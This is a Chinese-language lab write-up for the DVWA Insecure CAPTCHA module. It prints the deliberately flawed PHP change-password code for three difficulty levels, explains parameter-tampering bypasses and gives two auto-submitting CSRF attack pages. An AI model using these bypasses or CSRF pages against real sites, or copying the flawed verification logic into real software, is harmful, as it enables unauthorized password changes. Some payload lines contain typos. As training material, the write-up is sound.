zoukankan      html  css  js  c++  java
  • DVWA--Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA

    不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,这块主要是验证流程出现了逻辑漏洞。

    可能在我们登录以后点进去这个模块,有人会遇到不能正常显示的情况,这是由于你没有在配置文件里输入谷歌密钥,这个在我的DVWA--环境部署的第二个问题里有解决方法


     

    Low

    代码分析:从代码里我们可以发现,服务器通过两步进行改密操作,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。

    漏洞就是:服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

    <?php
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer(
            $_DVWA[ 'recaptcha_private_key'],
            $_POST['g-recaptcha-response']
        );
    
        // Did the CAPTCHA fail?
        if( !$resp ) {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                // Show next stage for the user
                echo "
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                    <form action="#" method="POST">
                        <input type="hidden" name="step" value="2" />
                        <input type="hidden" name="password_new" value="{$pass_new}" />
                        <input type="hidden" name="password_conf" value="{$pass_conf}" />
                        <input type="submit" name="Change" value="Change" />
                    </form>";
            }
            else {
                // Both new passwords do not match.
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    }
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check to see if both password match
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the end user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with the passwords matching
            echo "<pre>Passwords did not match.</pre>";
            $hide_form = false;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 

    漏洞1:输入新的密码,点击change进行抓包如下

     修改step参数绕过验证码,修改1为2,点击Forward放行,回到浏览器

     更改密码成功

     漏洞二:我们进行观察,发现Low级别没有任何的防CSRF机制,我们可以像我之前CSRF博客里的方式构造攻击页面,代码如下,当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。

    <html>      
    
    <body onload="document.getElementById('transfer').submit()">        
    
      <div>    
    
        <form method="POST" id="transfer" action="http://192.168.29.76/DVWA-master/vulnerabilities/captcha/">     
    
            <input type="hidden" name="password_new" value="password">
    
            <input type="hidden" name="password_conf" value="password">     
    
            <input type="hidden" name="step" value="2"      
    
            <input type="hidden" name="Change" value="Change">        
    
        </form>        
    
      </div>        
    
    </body>
    
    </html>

    有一个小bug就是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。


    Medium 

    代码分析:Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

     <?php
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer(
            $_DVWA[ 'recaptcha_private_key' ],
            $_POST['g-recaptcha-response']
        );
    
        // Did the CAPTCHA fail?
        if( !$resp ) {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                // Show next stage for the user
                echo "
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                    <form action="#" method="POST">
                        <input type="hidden" name="step" value="2" />
                        <input type="hidden" name="password_new" value="{$pass_new}" />
                        <input type="hidden" name="password_conf" value="{$pass_conf}" />
                        <input type="hidden" name="passed_captcha" value="true" />
                        <input type="submit" name="Change" value="Change" />
                    </form>";
            }
            else {
                // Both new passwords do not match.
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    }
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check to see if they did stage 1
        if( !$_POST[ 'passed_captcha' ] ) {
            $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
            $hide_form = false;
            return;
        }
    
        // Check to see if both password match
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the end user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with the passwords matching
            echo "<pre>Passwords did not match.</pre>";
            $hide_form = false;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    漏洞一:

    抓包,更改step参数,增加passed_captcha参数,来绕过验证码,这是我们现在抓包的样子

     开始操作

     Forward放行,修改成功

     漏洞二:

    同Low级别,也可以构造页面

    <html>       
    
    <body onload="document.getElementById('transfer').submit()">       
    
      <div>      
    
        <form method="POST" id="transfer" action="http://192.168.29.76、DVWA-master/vulnerabilities/captcha/">       
    
            <input type="hidden" name="password_new" value="password">
    
            <input type="hidden" name="password_conf" value="password">        
    
            <input type="hidden" name="passed_captcha" value="true">        
    
            <input type="hidden" name="step" value="2">       
    
            <input type="hidden" name="Change" value="Change">        
    
        </form>        
    
      </div>
    
    </body>        
    
    </html>

    High

    代码分析:

    服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

    <?php
    
    if( isset( $_POST[ 'Change' ] ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer(
            $_DVWA[ 'recaptcha_private_key' ],
            $_POST['g-recaptcha-response']
        );
    
        if (
            $resp || 
            (
                $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
                && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
            )
        ){
            // CAPTCHA was correct. Do both new passwords match?
            if ($pass_new == $pass_conf) {
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for user
                echo "<pre>Password Changed.</pre>";
    
            } else {
                // Ops. Password mismatch
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
    
        } else {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    $resp参数我们无法控制,所以重心放在参数g-recaptcha-response、User-Agent上。

    开始操作,日常抓包

    开始改

     放行,成功

     Over~~~

  • 相关阅读:
    安卓 广播机制
    安卓 活动的启动模式
    安卓 生命周期
    安卓六大布局
    day4-list,列表
    Leetcode 947 移除最多的同行或同列石头
    Leetcode 628三个数的最大乘积
    Leetcode 1584连接所有点的最小费用
    Leetcode 721 账户合并
    Leetcode 103 二叉树的锯齿层序遍历
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12629281.html
Copyright © 2011-2022 走看看